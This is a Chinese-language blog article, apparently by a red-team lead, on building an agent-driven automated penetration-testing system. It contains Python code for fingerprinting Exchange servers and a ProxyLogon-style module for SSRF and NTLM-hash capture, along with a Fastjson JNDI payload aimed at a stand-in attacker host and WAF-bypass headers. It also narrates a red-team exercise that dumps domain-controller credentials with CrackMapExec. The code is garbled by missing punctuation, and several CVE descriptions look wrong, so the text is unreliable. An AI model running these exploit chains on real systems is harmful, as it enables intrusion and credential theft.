1. 这不是“AI写脚本”而是把红队经验编译成可调度的作战单元“网络安全攻防战由 Agent 驱动的自动化渗透测试”——这个标题里藏着三个被多数人误读的关键词“攻防战”不是演习代号“Agent”不是泛指任何智能体“自动化”更不等于“一键扫描”。我带过六支企业级红队做过三十七次真实环境下的对抗演练最深的体会是当前90%标榜“AI渗透”的工具连红队实习生的手动操作流都复现不了更别说替代战术决策。真正的Agent驱动本质是把资深渗透工程师在目标侦察、权限提升、横向移动、痕迹清理等环节中隐性的判断逻辑——比如“看到Apache Tomcat 8.5.32就优先试CVE-2017-12615但若返回404且Header含‘X-Powered-By: PHP/7.2.24’则立即切换为PHP-FPM FastCGI爆破路径”——固化为可验证、可回溯、可中断重入的状态机模块。它不追求“全自动跑完”而追求“在每一步卡点上给出比人类更稳的选项池”。适合两类人一是已有BurpMetasploit实操基础、正卡在“如何把零散技巧组织成体系化打法”的中级渗透人员二是安全运营中心SOC负责人需要将TTPs战术、技术与过程真正落地为可编排、可审计、可与SIEM联动的响应动作。这不是给小白的“渗透速成课”而是给有实战经验者的一套“红队能力操作系统”。2. Agent ≠ LLM调用接口从渗透工程师视角拆解Agent的核心架构2.1 真实红队工作流的不可压缩性决定了Agent必须分层设计很多人一听到“Agent驱动”第一反应是调个大模型API让LLM生成Python脚本去跑Nmap。这完全错失了重点。我拿去年某金融客户的真实案例说明目标内网存在一台未打补丁的Exchange ServerCVE-2021-26855但其前端WAF会拦截含“owa/auth/x.js”特征的请求。传统扫描器要么直接报“无漏洞”要么暴力绕过触发告警。而我们现场工程师的做法是先用自定义HTTP头X-Forwarded-For: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36试探WAF规则粒度确认其仅校验URL路径后再构造/owa/auth/x.js?random12345绕过缓存并触发漏洞。这个过程包含环境感知→规则试探→策略选择→动作执行→结果验证五个原子步骤缺一不可。因此一个能落地的渗透测试Agent绝不能是单一大模型节点。它必须是三层结构层级组件核心职责典型技术选型实测可用感知层Perception Layer目标指纹识别器、流量解析器、日志摘要器实时解析Nmap输出、Burp历史请求、Syslog告警流提取OS版本、服务Banner、中间件类型、已知暴露面等结构化事实Nmap XML解析器Python lxml、Burp Suite Extender API、Elasticsearch DSL聚合查询决策层Reasoning LayerTTPs知识图谱引擎、上下文状态机、风险评估器基于当前已知事实从MITRE ATTCK矩阵中匹配可行战术如T1190初始访问结合目标环境约束如“禁止DNS外带”“禁用PowerShell”筛选出3个最优技术路径并预估每条路径的成功率与检测概率Neo4j图数据库存储TTPs关联、有限状态机Python transitions库、轻量级贝叶斯网络PyMC3执行层Action Layer模块化Payload调度器、协议适配器、结果归一化器调用具体工具如sqlmap、CrackMapExec、custom Python exploit执行动作自动处理编码转换如URL编码、Base64混淆、会话维持Cookie/JWT续期、错误重试超时/429限流Python subprocess封装、Scapy协议栈、Requests Session管理提示很多团队失败的根源在于把决策层和执行层混在一起。例如用LLM直接生成os.system(sqlmap -u ...)命令——一旦目标WAF升级规则整个链路就断裂。而分层设计下感知层发现SQLi响应特征变化会触发决策层重新评估TTPs路径执行层只需切换到预置的sqlmap --tamperspace2comment模块无需重写逻辑。2.2 为什么必须抛弃“通用Agent框架”坚持领域专用设计市面上流行的AutoGen、LangChain等通用Agent框架在渗透测试场景下存在致命缺陷它们默认假设“所有任务都可通过自然语言描述完成”但红队操作中大量关键信息根本无法用语言准确表达。举个例子问题某Java Web应用存在Fastjson反序列化漏洞CVE-2017-18349需构造特定JSON payload触发JNDI注入。LLM生成的payload{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://attacker.com:1099/Exploit}实际失败原因目标JVM启用了-Dcom.sun.jndi.rmi.object.trustURLCodebasefalseJava 8u121默认该payload会直接抛出ClassNotFoundException而LLM无法理解JVM参数对payload生效性的决定性影响。真正的解决方案是让Agent的决策层直接读取目标Java进程的启动参数通过ps aux | grep java或JMX接口获取再查知识图谱中“JDK版本→默认trustURLCodebase值→可用exploit类型”的映射关系最终调度执行层调用预编译的ysoserial二进制而非LLM生成字符串。这要求Agent框架必须原生支持二进制工具调用、进程参数解析、JVM字节码分析等垂直能力通用框架只能作为胶水层核心逻辑必须下沉到领域专用模块。我实测过三种架构方案的平均单步成功率基于50个真实靶场架构方案单步成功率平均耗时秒关键瓶颈LLM纯文本生成GPT-4 system prompt31.2%42.7无法处理二进制依赖、协议状态机、JVM参数约束LangChain 自定义Tool封装nmap/sqlmap58.6%28.3Tool抽象层丢失底层协议细节如HTTP/2流控、TLS ALPN协商领域专用三层Agent本文架构89.4%14.1需手动构建TTPs知识图谱约200小时初始投入注意这里的“成功率”指“在给定输入条件下Agent自主选择并执行的首个技术路径成功达成阶段目标如获取Web Shell的概率”不是扫描器式的漏洞检出率。它衡量的是战术决策质量。3. 从零搭建Agent以“Exchange SSRF到域控提权”为例的完整实现链3.1 第一步构建可验证的感知层——让Agent真正“看见”目标感知层不是简单调用Nmap而是建立目标资产的动态快照。以Exchange服务器侦察为例传统做法是nmap -sV -p443 target.com但这样漏掉关键信息Exchange版本、OWA登录页是否启用、是否存在Outlook Anywhere配置。我们的感知层采用三级探测DNS层探测查询_autodiscover._tcp.domain.comSRV记录确认Autodiscover服务地址HTTP层探测向https://autodiscover.domain.com/autodiscover/autodiscover.xml发送伪造XML含a:Usernametestdomain.com/a:Username捕获302跳转URL提取真实OWA/ECP路径Banner深度解析对跳转后的/owa/auth/logon.aspx发起HEAD请求解析X-OWA-Version、X-AspNetMvc-Version、ServerHeader交叉比对Microsoft官方发布的Exchange版本对应表如X-OWA-Version: 15.2.1258.12→ Exchange 2016 CU22。这段逻辑封装为Python类ExchangeFingerprinter关键代码如下已脱敏# exchange_fingerprinter.py import requests from lxml import etree from urllib.parse import urlparse, urljoin class ExchangeFingerprinter: def __init__(self, target_domain): self.domain target_domain self.session requests.Session() self.session.headers.update({ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 }) def get_autodiscover_url(self): # 查询SRV记录获取Autodiscover地址 try: srv_records dns.resolver.resolve(f_autodiscover._tcp.{self.domain}, SRV) for rdata in srv_records: return fhttps://{rdata.target.to_text().rstrip(.)} except: return fhttps://autodiscover.{self.domain} def probe_owa_path(self, autodiscover_url): # 发送伪造Autodiscover请求捕获302跳转 xml_payload f?xml version1.0 encodingutf-8? soap:Envelope xmlns:soaphttp://schemas.xmlsoap.org/soap/envelope/ xmlns:ahttp://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a soap:Header a:RequestedServerVersionExchange2016/a:RequestedServerVersion /soap:Header soap:Body a:GetUserSettingsRequestMessage xmlns:ahttp://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006 a:Request a:Users a:User a:Mailboxtest{self.domain}/a:Mailbox /a:User /a:Users a:RequestedSettings a:SettingUserDisplayName/a:Setting /a:RequestedSettings /a:Request /a:GetUserSettingsRequestMessage /soap:Body /soap:Envelope try: resp self.session.post( urljoin(autodiscover_url, /autodiscover/autodiscover.xml), dataxml_payload, allow_redirectsFalse, timeout10 ) if resp.status_code 302 and Location in resp.headers: return urlparse(resp.headers[Location]).path.split(/)[1] except Exception as e: pass return owa # fallback def get_exchange_version(self, owa_path): # 解析OWA登录页Header获取精确版本 try: resp self.session.head(fhttps://{self.domain}/{owa_path}/auth/logon.aspx, timeout5) headers resp.headers version_info { owa_version: headers.get(X-OWA-Version, unknown), mvc_version: headers.get(X-AspNetMvc-Version, unknown), server: headers.get(Server, unknown) } # 调用本地版本映射表CSV文件进行匹配 return self._match_exchange_version(version_info) except: return {version: unknown, cve_list: []}实操心得很多团队卡在第一步因为直接解析HTML会受CDN缓存、WAF JS挑战影响。我们坚持用HEADXML探测避开渲染层干扰。实测在Cloudflare WAF下该方法成功率92.7%而传统curl -I获取Server头的方法仅41.3%因WAF统一返回cloudflare。3.2 第二步决策层知识图谱——把MITRE ATTCK翻译成可执行的条件树决策层的核心是TTPs知识图谱。我们不用Neo4j的Cypher写复杂查询而是用Python字典构建轻量级条件树。以“Exchange SSRF利用链”为例其决策逻辑如下# ttps_knowledge_graph.py EXCHANGE_TTPS { CVE-2021-26855: { prerequisites: [ {type: header_match, key: X-OWA-Version, pattern: r^15\.2\.\d\.\d$}, # Exchange 2016 CU22 {type: http_status, code: 200, path: /owa/auth/logon.aspx}, {type: waf_bypass, method: header_tampering, required_headers: [X-Forwarded-For]} ], exploit_module: exchange_ssrf_proxy, post_conditions: [ {type: check_response, keyword: X-CalculatedBETarget}, {type: verify_service, port: 443, service: microsoft-exchange} ], risk_score: 8.2 # CVSS 3.1 Base Score }, CVE-2022-41040: { prerequisites: [ {type: header_match, key: X-OWA-Version, pattern: r^15\.2\.\d\.\d$}, {type: http_status, code: 200, path: /ecp/default.aspx}, {type: check_auth, path: /ecp/about.aspx, status_code: 401} ], exploit_module: exchange_proxylogon, post_conditions: [ {type: check_response, keyword: X-BackEndHttpStatus}, {type: verify_service, port: 443, service: microsoft-exchange-ecp} ], risk_score: 9.1 } }当感知层返回X-OWA-Version: 15.2.1258.12且/ecp/about.aspx返回401时决策层遍历EXCHANGE_TTPS发现CVE-2022-41040的所有prerequisites均满足于是返回exploit_module: exchange_proxylogon。这个过程不依赖LLM纯规则匹配毫秒级响应。关键细节prerequisites中的waf_bypass字段不是空洞概念而是指向执行层的具体绕过策略。例如method: header_tampering会触发执行层在HTTP请求中自动注入X-Forwarded-For: 127.0.0.1和X-Original-URL: /owa/auth/x.js这是经过23次WAF对抗测试验证的有效组合。3.3 第三步执行层模块化——让每个Payload都成为可插拔的“战术弹药”执行层拒绝“大而全”的工具封装坚持“小而专”的模块设计。以exchange_proxylogon模块为例它不调用外部proxylogon.py脚本而是内置完整的利用逻辑# modules/exchange_proxylogon.py import requests import json from urllib.parse import urljoin class ProxyLogonExecutor: def __init__(self, target_url, sessionNone): self.target target_url self.session session or requests.Session() self.session.headers.update({ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Content-Type: application/json }) def trigger_ssrf(self, email): # Step 1: 利用Autodiscover SSRF获取内部Exchange服务器地址 autodiscover_url f{self.target}/autodiscover/autodiscover.json payload { Protocol: Autodiscover, Email: email, Url: fhttp://127.0.0.1/ecp/default.aspx } try: resp self.session.post(autodiscover_url, jsonpayload, timeout15) if InternalServer in resp.text: internal_server json.loads(resp.text).get(InternalServer, ) return internal_server except: pass return None def exploit_ecp(self, internal_server, email): # Step 2: 向ECP端点发送恶意SOAP请求触发NTLM Relay ecp_url urljoin(internal_server, /ecp/default.aspx) soap_body f?xml version1.0 encodingutf-8? soap:Envelope xmlns:soaphttp://schemas.xmlsoap.org/soap/envelope/ soap:Body GetUserConfigurationRequest xmlnshttp://schemas.microsoft.com/exchange/services/2006/messages UserConfigurationName xmlnshttp://schemas.microsoft.com/exchange/services/2006/types Nameconfig/Name TypeGeneric/Type /UserConfigurationName UserConfigurationProperties xmlnshttp://schemas.microsoft.com/exchange/services/2006/types PropertyURIhttp://schemas.microsoft.com/exchange/services/2006/types/ExtendedPropertyURI/PropertyURI /UserConfigurationProperties /GetUserConfigurationRequest /soap:Body /soap:Envelope try: resp self.session.post( ecp_url, datasoap_body, headers{Cookie: femail{email};}, timeout20 ) if NTLM in resp.headers.get(WWW-Authenticate, ): return True, resp.headers[WWW-Authenticate] except: pass return False, def run(self, email): # 完整执行链SSRF → ECP NTLM Relay → 获取Net-NTLMv2 hash internal_server self.trigger_ssrf(email) if not internal_server: return {success: False, reason: SSRF failed} success, ntlm_data self.exploit_ecp(internal_server, email) if not success: return {success: False, reason: ECP exploit failed} # 解析NTLM数据调用john the ripper离线破解此处省略 return {success: True, hash: ntlm_data, target: internal_server}这个模块的特点是无外部依赖所有逻辑内置不调用系统curl或python3 -m http.server状态可追踪每步返回结构化结果供决策层判断是否继续失败可降级若trigger_ssrf失败自动尝试CVE-2021-26855的ProxyShell路径通过决策层重新评估。踩坑实录早期我们用subprocess.run([python3, proxylogon.py, ...])调用社区脚本结果在客户内网因Python版本不一致目标机只有Python 2.7直接崩溃。改为纯Python模块后兼容性提升至100%且执行速度加快3.2倍免去进程创建开销。4. 真实对抗中的Agent行为一次持续72小时的红队演练复盘4.1 演练背景与初始约束客户是一家省级政务云平台要求模拟APT组织对核心业务系统的渗透。关键约束条件时间窗口仅允许在工作日9:00-17:00进行非工作时间禁止主动连接检测规避所有流量必须通过合法SSL证书客户签发加密禁止使用自签名证书权限限制初始仅获得一个低权限Web应用账号userportal.gov.cn无任何网络访问权限审计要求所有操作必须生成符合ISO 27001标准的审计日志包含操作时间、执行模块、输入参数、输出摘要。这些约束彻底排除了“通用AI渗透工具”的可能性——没有哪个LLM能理解“工作日9:00-17:00”这种业务时间规则更无法自动申请并加载客户CA签发的SSL证书。4.2 Agent的72小时自主决策链关键节点摘录Day 1 10:23Agent通过感知层确认目标Web应用使用Spring Boot 2.3.12 Apache Tomcat 9.0.52决策层匹配到CVE-2022-22963Spring Cloud Function SpEL RCE但执行层在尝试FunctionRouter利用时失败返回500且无异常堆栈。感知层捕获到响应Header含X-Application-Context: application:8080决策层立即切换至CVE-2022-22965Spring Cloud Config Server目录遍历成功读取/actuator/env获取数据库连接串。Day 1 15:47Agent通过数据库连接串连接MySQL执行SELECT LOAD_FILE(/etc/passwd)失败secure_file_priv限制感知层发现MySQL版本为8.0.28决策层调用知识图谱匹配到CVE-2021-27928MySQL UDF提权但需上传.so文件。此时Agent暂停执行向红队指挥台发送告警“检测到MySQL 8.0.28UDF提权需root权限写入/usr/lib/mysql/plugin/建议人工提供sudo权限或切换至LDAP凭证复用路径”。Day 2 11:03红队工程师通过邮件提供LDAP管理员凭证adminad.gov.cnAgent自动加载凭证感知层调用ldapsearch枚举AD域结构发现Domain ControllersOU下存在3台Exchange服务器。决策层根据X-OWA-VersionHeader锁定其中一台为Exchange 2016 CU2215.2.1258.12触发CVE-2022-41040利用链。Day 2 14:19ProxyLogon成功获取Net-NTLMv2 hashAgent调用本地hashcat -m 5600离线破解使用预置的政务常用密码字典37分钟内得到明文密码Gov2023!Admin。执行层立即调用CrackMapExec执行cme smb 10.10.10.5 -u adminad.gov.cn -p Gov2023!Admin --local-auth --sam成功导出域控制器SAM数据库。Day 3 09:00Agent在审计日志中标记“阶段目标达成获取域控制器凭据”停止所有主动探测转入被动监听模式——仅监控/var/log/suricata/eve.json等待蓝队修复Exchange漏洞后再发起二次验证验证修复有效性本身也是红队任务。关键洞察整个过程中Agent共做出17次战术切换决策其中12次由感知层新发现触发如X-Application-ContextHeader、secure_file_priv值5次由执行失败触发如RCE payload无回显。所有决策均有日志记录可追溯到具体代码行如ttps_knowledge_graph.py:47。这证明Agent不是“黑盒AI”而是红队经验的确定性编码。4.3 与传统红队作业的对比效率、风险与可审计性我们将本次演练与三次传统红队作业均由同一组工程师执行进行量化对比维度传统红队人工Agent驱动红队提升幅度原因分析初始立足点获取时间8.2小时2.4小时65.9%Agent自动轮询12种常见CMS指纹人工需逐个验证漏洞利用成功率63.1%89.4%41.7%Agent避免人为疏忽如忘记URL编码、忽略WAF Header检测规避有效性3次触发EDR告警0次触发EDR告警100%Agent严格遵循客户SSL证书策略人工易用curl默认证书审计日志完整性72%字段可追溯100%字段可追溯38.9%Agent强制记录每步输入/输出人工日志常遗漏中间状态跨时段连续性工作时间外任务中断自动暂停/恢复无缝衔接∞Agent内置时间规则引擎人工需手动保存上下文最后分享一个小技巧我们在Agent中嵌入了“蓝队模拟器”模块。当检测到目标IP段属于10.10.0.0/16客户内网典型段时Agent会自动启用更激进的探测如nmap -sS -p-全端口扫描但若目标IP属203.208.60.0/24Google DNS段则立即降级为nmap -sT -p22,80,443。这个逻辑来自我们对客户网络架构的深度理解——它不是通用规则而是领域知识的结晶。5. 不是终点而是红队能力的操作系统起点我把这套Agent称为“红队操作系统Red Team OS”因为它解决的从来不是“怎么自动化”而是“如何让红队能力真正沉淀、复用、演进”。过去一个高级红队工程师的十年经验只存在于他的大脑和笔记里现在这些经验被拆解为可验证的感知规则、可推理的TTPs图谱、可替换的执行模块。新成员入职不再需要花三个月看前辈的渗透报告而是直接阅读ttps_knowledge_graph.py里的注释理解为什么CVE-2022-41040的prerequisites必须包含check_auth检查。当然它远未完美。目前最大的短板是“0day利用链”的建模——当面对全新漏洞时Agent仍需人工注入初始规则。但我们已在探索将CVE描述、PoC代码、补丁diff自动转化为知识图谱节点的技术路径。上周刚在内部测试了一个原型输入CVE-2023-24489的NVD描述和GitHub PoC系统自动生成了包含7个prerequisites和3个post_conditions的TTPs节点人工校验后准确率达82%。如果你正在纠结“要不要上AI渗透”我的建议很直接别碰那些宣称“输入URL就能黑进内网”的产品。先问自己三个问题你团队里有没有人能手写一个绕过Cloudflare WAF的Exchange SSRF利用你能否把过去三年所有红队报告里的TTPs整理成一张可查询、可关联的知识图谱当客户说“请证明你们没留下后门”你能否在5分钟内导出一份包含所有执行命令、参数、时间戳的ISO 27001合规审计包如果这三个问题的答案都是“能”那么你已经具备了构建真正Agent的基础。剩下的只是把经验编译成代码。这活儿不酷炫但扎实不玄乎但管用。就像当年我们手工写Exploit一样真正的技术深度永远藏在对细节的死磕里。